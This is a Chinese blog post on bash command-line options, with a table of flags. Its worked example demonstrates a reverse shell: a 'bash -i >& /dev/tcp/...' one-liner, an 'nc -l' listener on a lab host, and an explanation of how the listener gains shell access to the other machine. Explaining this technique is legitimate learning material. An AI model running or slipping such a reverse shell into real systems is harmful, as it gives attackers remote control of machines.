zoukankan      html  css  js  c++  java
  • 【BASH】常见功能及其用法

    前言

    bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。

    参数

    参数 用法
    -c 若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。
    -n 检查脚本是否正确,并不执行脚本
    -i 若用-i参数,则bash是交互的。
    -s 若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。
    -x 执行脚本,输出执行过程,适合调试适用
    - 单一的号表明参数执行完毕,并且屏蔽此后所跟参数,后面的所有变量都被看作是文件名。
    -norc 如果bash是交互的,则不执行个人初始化文件:-/.bashrc,如果bash作为sh来运行,这个参数缺省是关闭的。
    -noprofile 不执行系统范围的启动文件/etc/profile也不执行个人的启动文件-/.bash_profile,-/.bash_login或-/.profile,缺省情况下,bash作为登录的shell时以这些文件作为启动文件。
    --refile 如果bash是交互的,则以此文件作为bash的启动文件。替代-/.bashrc。
    --version bash开始时显示版本号
    -quiet 不显示版本号和其他信息,缺省值
    -login 激活bash,伪装成登录shell
    -nolineediting 在交互状态下不使用GNU的readline库去读取命令。即取消了命令行编辑功能。
    -posix 改变bash的行为,使其符合Posix 1003.2规定的标准。

    例子

    bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
    

    先了解下交互式bash的含义

    number value mean
    0 STDIN_FILENO 标准输入(键盘)
    1 STDOUT_FILENO 标准输出(控制台)
    2 STDERR_FILENO 标准错误
    • 2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
    • /dev/tcp/10.8.4.106/2333,这是一个特殊文件,它会建立一个连接到10.8.4.106:2333的socket
    • 命令的含义: bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/10.8.4.106/2333的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

    10.8.4.106

    nc -l 2333
    

    10.8.4.102

    bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
    

    此时已经可以在106上已经有了102的bash权限,ls命令也可以查看目录信息等。(反射bash)

  • 相关阅读:
    Oracle并行操作——从串行到并行
    Log4Net使用指南
    NET开发人员应该要知道
    测试11g压缩性能
    C#不同操作系统下,界面大小不一的原因
    采用nettcp绑定的wcf宿主到iis7
    Packaging Oracle Data Access Components into .Net projects
    Operating System Property Values
    【转】《Effective C#中文版:改善C#程序的50种方法》读书笔记
    解决.svc 无法解析
  • 原文地址:https://www.cnblogs.com/gaoshaonian/p/14577449.html
Copyright © 2011-2022 走看看